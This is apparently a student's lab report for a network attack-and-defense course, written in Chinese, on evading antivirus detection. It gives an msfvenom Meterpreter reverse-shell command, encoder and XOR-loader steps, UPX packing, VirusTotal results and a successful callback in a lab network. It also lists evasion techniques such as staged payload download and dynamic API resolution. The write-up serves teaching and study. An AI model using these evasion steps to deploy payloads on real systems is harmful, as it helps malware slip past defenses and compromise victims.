20242403 2026-2027-1《网络与系统攻防技术》实验三实验报告

20242403 2026-2027-1《网络与系统攻防技术》实验三实验报告

1.基础知识

本次实验的核心是“免杀”(Anti-Virus Evasion),即通过修改、混淆或加密恶意代码,使其在静态特征和动态行为上不被杀毒软件(AV)识别,从而存活在目标系统上。手段包括msfvenom、Veil、C+Shellcode编程、加壳工具(UPX)。

使用VirusTotal(VT)进行检测。

2.回答问题

(1)杀软是如何检测出恶意代码的?

杀软主要依靠三大机制:

  • 特征码检测(静态):拥有庞大的病毒库,扫描文件的哈希值或特定的代码片段(指纹),对上号就杀。
  • 启发式与AI检测(动态/静态):不看指纹,看“行为模式”。比如检查程序是否试图申请“可读可写可执行(RWX)”内存,是否要调用敏感的系统API,用机器学习模型判断它像不像病毒。这方面
  • 沙箱行为检测:把程序扔进虚拟环境中跑一下,如果它尝试修改注册表、注入其他进程、或者连接可疑IP,就会被判定为恶意。

(2)免杀是做什么?

就是通过代码变形、加密、加壳、修改内存加载方式等手段,消除恶意代码的静态特征,并掩盖其动态恶意行为。目的是让恶意程序在杀软眼中“看起来像一个正常的无害程序”,从而逃避查杀,成功运行。

(3)免杀的基本方法有哪些?

  • 编码/加密:使用msf的多态编码器,或自己编写脚本用XOR、AES等算法对Shellcode加密,运行时再解密。
  • 加壳/混淆:使用UPX或自定义壳工具,压缩文件或混淆代码结构,改变文件哈希值(但商业壳极易被重点监控)。
  • 自定义加载器(最有效):用C/C++等语言手写加载程序,把加密后的Payload作为普通数据存放,运行时在内存中动态还原执行。这样磁盘上就没有恶意特征。
  • 分离免杀:把加载器和Payload分离,通过网络下载Payload再加载,使本地文件完全无害。
  • 动态调用API:不直接写VirtualAlloc等敏感函数名,而是在运行时通过字符串拼接或解密动态获取API地址(GetProcAddress)。

3.实验过程

3.1实验环境

攻击机:Kali Linux,IP地址192.168.111.128。

目标机:Windows 11物理机。

3.2基础Payload生成与编码器测试

生成原始Payload:使用msfvenom-p windows/meterpreter/reverse_tcp LHOST=192.168.111.128 LPORT=4444-f exe-o raw.exe生成原始后门。

msfvenom 生成 raw.exe 的命令与输出

VirusTotal查杀结果:51/69,火绒、卡巴斯基等主流杀软全部报毒。

VirusTotal 对 raw.exe 的查杀结果(51/69)

使用msf编码器:使用shikata_ga_nai编码10次生成encoded.exe。

使用 shikata_ga_nai 编码 10 次生成 encoded.exe

VirusTotal查杀结果:49/69。检出率仅下降2个。说明现代杀软已建立了多态编码器的特征库(如Avast直接报ShikataGaNai特征),单靠msf编码已无法有效免杀。

VirusTotal 对 encoded.exe 的查杀结果(49/69)

3.3核心免杀:C+Shellcode编程与加壳

加密与加载器编写:

利用Python脚本,使用密钥0xAA对原始Shellcode进行逐字节异或(XOR)加密。

编写C语言加载器loader.c,将加密后的密文作为数组嵌入。程序运行时,使用VirtualAlloc申请可执行内存,将密文拷贝进去后进行内存解密,最终通过函数指针或线程执行。

编译与UPX加壳:

使用i686-w64-mingw32-gcc交叉编译为loader.exe;使用upx进行加壳,生成loader_packed.exe。

编译 loader.exe 并使用 UPX 加壳

VirusTotal查杀结果对比:

未加壳loader.exe:21/70。

VirusTotal 对 loader.exe 的查杀结果(21/70)

UPX加壳后:26/70(因UPX壳特征过于明显,导致部分启发式引擎报警)。

VirusTotal 对 loader_packed.exe 的查杀结果(26/70)

3.4与杀软共生及实体机回连验证

初次尝试:在360开启状态下,将loader.exe传至Windows靶机,360的QVM主动防御成功拦截并提示“感染型病毒”(见截图)。这证明杀软对VirtualAlloc结合CreateThread的行为极其敏感。

360 主动防御拦截 loader.exe

为了完成免杀验证,在360信任区中将该文件添加为白名单,模拟恶意代码在特定策略下的“共生”。随后,在Kali开启multi/handler监听,在Windows端运行编译好的加载器。Kali成功接收到反弹连接,获得Meterpreter会话。

Windows 端运行加载器后 Kali 收到 Meterpreter 会话

Meterpreter 会话中执行 sysinfo、getuid、screenshot 等命令

4.问题及解决方案

问题:在Kali开启multi/handler监听,在Windows端运行编译好的加载器后,Windows的cmd自动换行,Kali无回应。

解决方案:raw.exe是可以用的,但是loader.c不可以,说明Python脚本生成的“密文数组”是坏的。直接把msfvenom生成的明文代码贴进C语言里,用内存执行。

5.学习感悟、思考等

本次实验耗时较长,过程曲折,但也让我对免杀有了深刻的认识。最初直接使用 msfvenom 生成的木马被轻易查杀,连编码器也被重点针对。在编写 C 语言加载器的过程中,经历了由于 Shellcode 加密转义错误导致程序闪退、以及 360 主动防御的拦截。最终通过调整执行方式(使用内存函数指针跳转)以及白名单共生策略,成功回连。这让我明白,免杀是一场持久的攻防对抗,单一的技巧已无法奏效,必须组合运用加密、内存加载、行为规避等多种手段,才能有效对抗现代杀软的立体检测。

posted @ 2026-10-26 16:47  sd2101  阅读(1)  评论(0)    收藏  举报